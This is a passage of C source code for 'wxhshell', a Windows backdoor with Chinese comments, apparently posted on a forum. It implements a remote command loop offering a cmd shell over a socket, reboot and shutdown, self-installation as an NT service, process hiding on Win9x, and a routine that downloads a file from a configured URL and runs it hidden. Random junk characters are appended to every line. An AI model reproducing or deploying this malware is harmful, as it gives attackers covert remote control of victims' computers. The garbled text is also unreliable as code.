  else { )mj<{Td`  
l4zw]AYk+X  
    switch(cmd[0]) { ,eDu$8J9  
  <H!O:Mf_p  
  // 帮助 a"k'm}hVY$  
  case '?': { |"_)zQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )t 5;d  
    break; >n(F4C-pl  
  } s~=g*99H  
  // 安装 KLW&bJ$|j  
  case 'i': { S3QaYq"v  
    if(Install()) 1}`2\3,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y!F!@`%G  
    else 'bl%Y).9w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hc"6u\>  
    break; <M=';h^w2  
    } GZ <nXU>  
  // 卸载 W|0My0y  
  case 'r': { W5 |j1He&  
    if(Uninstall()) )]3L/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b##1hm~+9  
    else @bE~@4mOu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zqY)dk  
    break; ]uAS+shQ&  
    } '\ XsTs#L  
  // 显示 wxhshell 所在路径 @FU~1u3d  
  case 'p': { CPVmF$A-  
    char svExeFile[MAX_PATH]; |J\,F.{'  
    strcpy(svExeFile,"\n\r"); /;7ID41  
      strcat(svExeFile,ExeFile); ]?M)NRk%S  
        send(wsh,svExeFile,strlen(svExeFile),0); N70zjy4?fL  
    break; n?}5!  
    } jK e.gA  
  // 重启 ?/)lnj)e{  
  case 'b': { u|T%Xy=LU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fk aXA.JE  
    if(Boot(REBOOT)) v:?o3 S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Eu #lV  
    else { ]r!QmWw~V  
    closesocket(wsh); 6A.P6DW  
    ExitThread(0); {79qtq%W{  
    } * O5:  
    break; vn``0!FX  
    } (m/aV  
  // 关机 =D}4X1l  
  case 'd': { ~x\Cmu9`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z~_8P  
    if(Boot(SHUTDOWN)) svqvG7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vli3>K&  
    else { ' Wtf>`  
    closesocket(wsh); I ld7}R  
    ExitThread(0); g1ytT%]  
    } ,&[7u9@  
    break; CB6o$U  
    } _!%M%  
  // 获取shell *Er? C;  
  case 's': { ]H>+m 9  
    CmdShell(wsh); h mds(lv7  
    closesocket(wsh); yZ5 x8 8>  
    ExitThread(0); }f]b't  
    break; M}u1qXa  
  } \@8*TS  
  // 退出 ?d~]Wd!z  
  case 'x': { -w\M-wc/$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ljuNs@q  
    CloseIt(wsh); 5tMh/]IeS  
    break; $HxS:3D%D  
    } JdO)YlM-  
  // 离开 o(zTNk5d  
  case 'q': { 8?kP*tmcZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j3{HkcjJG  
    closesocket(wsh); 1 #q^uqO0  
    WSACleanup(); 5N1}Ns  
    exit(1); aLYLd/ KV  
    break; S*xhX1yUi  
        } BKX 9 SL]  
  } xG8`'SNY  
  } 6< >SHw  
*%I[ ke *  
  // 提示信息 4~Dax)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UUH;L  
} DRp&IP<  
  } F3Ap1-%z  
OT;cfkf7  
  return; -zTEL (r  
} M!#AfIyB  
E23w *']  
// shell模块句柄 NHAH#7]M&1  
int CmdShell(SOCKET sock) bNXAU\M^  
{ @C=M UT-!  
STARTUPINFO si; #52NsVaT@  
ZeroMemory(&si,sizeof(si)); |by@ :@*y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u1N1n;#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^aHh{BQ%  
PROCESS_INFORMATION ProcessInfo; M%|f+u&  
char cmdline[]="cmd"; p/3BD&6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V~[:*WOX  
  return 0; L1{T ?aII  
} aHC%19UN  
C.( yd$,  
// 自身启动模式 f1J %]g!  
int StartFromService(void) k2.G%]j  
{ <6R"h-u"  
typedef struct R1/q3x  
{ JjQVzkE  
  DWORD ExitStatus; xDUaHE1co  
  DWORD PebBaseAddress; P5Dk63z]  
  DWORD AffinityMask; AEqq1A   
  DWORD BasePriority; y?Onb 3%  
  ULONG UniqueProcessId; 79wLT \&  
  ULONG InheritedFromUniqueProcessId; B=dseeG[To  
}   PROCESS_BASIC_INFORMATION; as#J qE  
{+Sq<J_`M  
PROCNTQSIP NtQueryInformationProcess; BGzO!s*@j  
hlC%HA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]-a{IWVN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R6<4"?*r  
Cg3ODfe  
  HANDLE             hProcess; H-2_j  
  PROCESS_BASIC_INFORMATION pbi; 9n 6fXOC  
> H~6NBd5D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q]XHa,"  
  if(NULL == hInst ) return 0; fhr-Y'  
)!sa)\E?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -dG,*0 >  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $rB6<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y"*:&E2)r  
puF%=i  
  if (!NtQueryInformationProcess) return 0; Z2bUs!0  
R8 jovr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v?)SA];  
  if(!hProcess) return 0; #w*"qn#2Uz  
:,^>d3k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /PW&$P1.]"  
C_Gzv'C"L  
  CloseHandle(hProcess); e9:P9Di(b  
!F$R+A+L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^yJ:+m;6K  
if(hProcess==NULL) return 0; />F.Nsujy  
Hk9U&j$  
HMODULE hMod; T>F9Hs  W  
char procName[255]; /AR]dcL@76  
unsigned long cbNeeded;  D%gGRA  
OpQ8\[X+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KuXkI;63J>  
H`el#tt_  
  CloseHandle(hProcess); KoF iQ?  
vYdlSe=6G  
if(strstr(procName,"services")) return 1; // 以服务启动 L {qJ-ln:  
?ZX!7^7  
  return 0; // 注册表启动 Up|f=@=  
} c3W BALdh  
{cR3.%wX  
// 主模块 B6%&gXr\  
int StartWxhshell(LPSTR lpCmdLine) !=[>r'+3  
{ /< QSe  
  SOCKET wsl; J*K<FFp3<  
BOOL val=TRUE; wDw<KU1UK  
  int port=0; IT&i,`cJ~F  
  struct sockaddr_in door; ?wCs&tM  
CjKRP;5  
  if(wscfg.ws_autoins) Install(); TGpSulg7  
W_}/O'l{  
port=atoi(lpCmdLine); '\t7jQ  
+*.1}r&  
if(port<=0) port=wscfg.ws_port; 0H+c4IW  
v20~^gKo=m  
  WSADATA data; P7r4ePtLk{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $ S~%KsC  
ET+'Pj3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    C0<YH "  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U&Ab# m;  
  door.sin_family = AF_INET; _-TOeP8#94  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HsH <m j  
  door.sin_port = htons(port); HH zEQV Lh  
>qpqQ; bm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8Zw]f-5x\  
closesocket(wsl); ;"@:}_t  
return 1; Ay%:@j(E  
} wv^b_DR  
(OqHfv  
  if(listen(wsl,2) == INVALID_SOCKET) { +'%\Pr(  
closesocket(wsl); afUTAP@  
return 1; (Fqa][0  
} @ef$b?wg  
  Wxhshell(wsl); RH~sbnZ)F  
  WSACleanup(); b{pg!/N4  
oyW00]ka  
return 0; &^+3er rO  
@woC8X  
} h>W@U9  
>BJ}U_ck  
// 以NT服务方式启动 Nf5WQTa4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GoD ?KC  
{ 4E'|.tt(  
DWORD   status = 0; k>>`fE\K  
  DWORD   specificError = 0xfffffff; \ 3G*j`  
X:{WZs"[x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ev"M;"y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r=$gT@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WIG=D{\Yx  
  serviceStatus.dwWin32ExitCode     = 0; Pi){h~B>  
  serviceStatus.dwServiceSpecificExitCode = 0; xFwXW )  
  serviceStatus.dwCheckPoint       = 0; 27iy4(4  
  serviceStatus.dwWaitHint       = 0; _+n;A46  
w[sR7T9*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [Xh\m DU.  
  if (hServiceStatusHandle==0) return; pYh!]0n  
$T/#1w P  
status = GetLastError(); Mj'lASI  
  if (status!=NO_ERROR) x.\XUJ4x  
{ lY,/ W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T.2ZBG ~|[  
    serviceStatus.dwCheckPoint       = 0; Ut_mrb+W  
    serviceStatus.dwWaitHint       = 0; ZqP7@fO_%  
    serviceStatus.dwWin32ExitCode     = status; #TATqzA  
    serviceStatus.dwServiceSpecificExitCode = specificError; +c r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &57U? oY  
    return; !qw4mN  
  } ,R}Z=w#  
$}4K`Iu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2&x7W*  
  serviceStatus.dwCheckPoint       = 0; oZ-FF'  
  serviceStatus.dwWaitHint       = 0; GA ik;R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8f-:d]  
} ;dOs0/UM&  
Mciq-c)  
// 处理NT服务事件,比如:启动、停止 Y }/c N\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gVA; `<  
{ =)*JbwQ   
switch(fdwControl) .+vd6Uc5a  
{ XNlhu^jh  
case SERVICE_CONTROL_STOP: C fSl 54  
  serviceStatus.dwWin32ExitCode = 0; n}:t<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AsAFUuI  
  serviceStatus.dwCheckPoint   = 0; n.Vtc-yZU  
  serviceStatus.dwWaitHint     = 0; "*bk{)dz}  
  { bP03G =`6w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lC2?sD$  
  } P}l#VJWp  
  return; _uJVuCc  
case SERVICE_CONTROL_PAUSE: >HIt}Zh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r`[B@  
  break; 0\wiam-  
case SERVICE_CONTROL_CONTINUE: L;Vq j]_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L~ 2q1  
  break; ngLJ@TP-  
case SERVICE_CONTROL_INTERROGATE: gLx/w\l6  
  break; QPV@'.2m  
}; ~lk@6{`l|1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 48k 7/w\  
} Uz $ @(C  
RJ*F>2  
// 标准应用程序主函数 f@x_#ov  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \n;g2/VjO  
{  mmcdtVe  
_4!{IdR  
// 获取操作系统版本 &SrGh$:X  
OsIsNt=GetOsVer(); UM`nq;>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .HCaXFW  
R=Ymo.zs6  
  // 从命令行安装 5v3RVaqZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); O8[k_0@  
6y9C@5p}B  
  // 下载执行文件 u?Z <n:  
if(wscfg.ws_downexe) { `I{tZ$iD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?UJSxL  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?~ ?H dv  
} {wv&t R;  
&M= 3{[  
if(!OsIsNt) { y<v|X2  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ph Ttx(!  
HideProc(); 6J"(xT  
StartWxhshell(lpCmdLine); qPUA!-'  
} yXrd2?Rq@  
else f,JX"  
  if(StartFromService()) on_H6Y@B52  
  // 以服务方式启动 3t*#!^$  
  StartServiceCtrlDispatcher(DispatchTable); %i3{TL  
else h(|;\~  
  // 普通方式启动 Zd+>  
  StartWxhshell(lpCmdLine); (,U7 R^  
!pl_Ao~(  
return 0; Rhv%6ekI  
}
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只看该作者 1 发表于: 2006-10-10
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